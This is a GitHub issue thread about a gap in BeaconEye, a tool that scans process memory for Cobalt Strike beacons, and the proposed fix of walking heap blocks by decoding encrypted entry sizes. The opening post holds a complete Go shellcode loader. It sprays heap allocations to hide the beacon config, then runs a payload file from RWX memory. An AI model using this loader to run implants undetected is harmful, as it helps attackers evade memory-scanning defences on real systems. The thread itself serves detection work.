BeaconEye icon indicating copy to clipboard operation
BeaconEye copied to clipboard

[Bug Fix] Scan Heap Blocks

Open d1nfinite opened this issue 4 years ago • 8 comments

In previous fix, you only scan the heap segments, but heap segments contains lots of heap blocks, so, if i create a beacon like this

package main

import (
	"fmt"
	"os"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40 // Execute
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
	GetCurrentProcess = kernel32.MustFindProc("GetCurrentProcess")
	HeapAlloc = kernel32.MustFindProc("HeapAlloc")
	GetProcessHeap = kernel32.MustFindProc("GetProcessHeap")
	HeapCreate = kernel32.MustFindProc("HeapCreate")
	HeapFree = kernel32.MustFindProc("HeapFree")
)

var(
	heapAddrList []uintptr
)

// Alloc Heap To Generate Lots of Block
func heapAllocBlock(heapHandle uintptr){
	count := 0
	for true{
		count++
		addr, _, _ := HeapAlloc.Call(heapHandle, 0x00000008, 4096)
		heapAddrList = append(heapAddrList, addr)
		if count >= 40000 {
			break
		}
	}
}

// Free
func heapAllocFree(heapHandle uintptr, addr uintptr){
	_, _, err := HeapFree.Call(heapHandle, 0x00000001, addr)
	fmt.Println(err)
}

func main() {
	//Get Shellcode
	f, _ := os.Open("raw/payload.bin")
	shellcode := make([]byte, 40960)
	f.Read(shellcode)

	//Get Heap Address
	heapHandle, _, err := GetProcessHeap.Call()

	if err != nil {
		fmt.Println(err)
	}

	//Alloc
	heapAllocBlock(heapHandle)


	//Execute Shellcode
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

it can bypass the beaconeye(random, if the beacon config not in first segment block), so, to solve this problem, should scan all heap blocks, but if process alloc large heap memory, it will be slow. (in my case, scan 16gb memory need 5 mins).

but the heap blocks don't exist linkedlist to walk over, so we have to calculate the block address, the block struct like this

ntdll!_HEAP_ENTRY
   +0x000 UnpackedEntry    : _HEAP_UNPACKED_ENTRY
   +0x000 PreviousBlockPrivateData : Ptr64 Void
   +0x008 Size             : Uint2B
   +0x00a Flags            : UChar
   +0x00b SmallTagIndex    : UChar
   +0x008 SubSegmentCode   : Uint4B
   +0x00c PreviousSize     : Uint2B
   +0x00e SegmentOffset    : UChar
   +0x00e LFHFlags         : UChar
   +0x00f UnusedBytes      : UChar

in x64, the size is Size * 0x10, so the block address like this

blockaddress ~ blockaddress + size * 0x10

but windows encrypt the size, so we have to use xor key to decrypt, xor key in _heap struct fields encoding

so, the fix code is my pr (my english is not good, srry)

d1nfinite avatar Sep 13 '21 03:09 d1nfinite

by the way, if you want to walk over the segment entry list, you have to ReadPointer(segment + 0x18) - 0x18, otherwise the address is wrong

d1nfinite avatar Sep 13 '21 03:09 d1nfinite

and the fix code only work for x64

d1nfinite avatar Sep 13 '21 03:09 d1nfinite

Very cool. Thanks for that. Do we need to use the xor key to get the size? Can't we just query the base address to get the allocated memory size for that block?

CCob avatar Sep 16 '21 20:09 CCob

Very cool. Thanks for that. Do we need to use the xor key to get the size? Can't we just query the base address to get the allocated memory size for that block?

microsoft seem not provide this function(get the heap block size), but u can use heapwalk to scan(inject the process)

d1nfinite avatar Sep 17 '21 03:09 d1nfinite

In addition to using HeapWalk, you can also use heap32first and heap32next to accomplish this, but it is very slow, and cannot scan 32bit process from 64bit process.

heap32next is slow beacause it call RtlQueryProcessDebugInfomation when you call it every time

or if you want to faster enum heap, you can implement heap32first and heap32next via RtlQueryProcessDebugInfomation

But, there's same problem, it cannot scan 32bit process from 64bit process.

I haven't found the solution yet.

akkuman avatar Sep 18 '21 08:09 akkuman

@d1nfinite NtQueryInformationMemory should give the allocated base + size of any address. It might overshoot the amount actually allocated off the heap but it should cover the block it was allocated from

CCob avatar Sep 19 '21 07:09 CCob

@CCob beaconeye use NtQueryVirtualMemory to get memory information, and in microsoft doc describe the MEMORY_BASIC_INFORMATION->regionSize`

the region in bytes beginning at the base address in which all pages have identical attributes.

if NtQueryInformationMemory use heap entry size to calculate the address size, u can use this function to walk over all heap blocks, but i'm not sure how it do it

d1nfinite avatar Sep 23 '21 09:09 d1nfinite

it can bypass the beaconeye(random, if the beacon config not in first segment block), so, to solve this problem, should scan all heap blocks, but if process alloc large heap memory, it will be slow. (in my case, scan 16gb memory need 5 mins).

@d1nfinite

you can see https://github.com/akkuman/EvilEye/blob/e7ca6eec4b52a7aa259d5e0bc8bafecd4e7922a9/beaconeye/beaconeye.go#L260 and https://github.com/akkuman/EvilEye/blob/e7ca6eec4b52a7aa259d5e0bc8bafecd4e7922a9/beaconeye/beaconeye.go#L236 , I did a little work to speed up the program

akkuman avatar Sep 24 '21 06:09 akkuman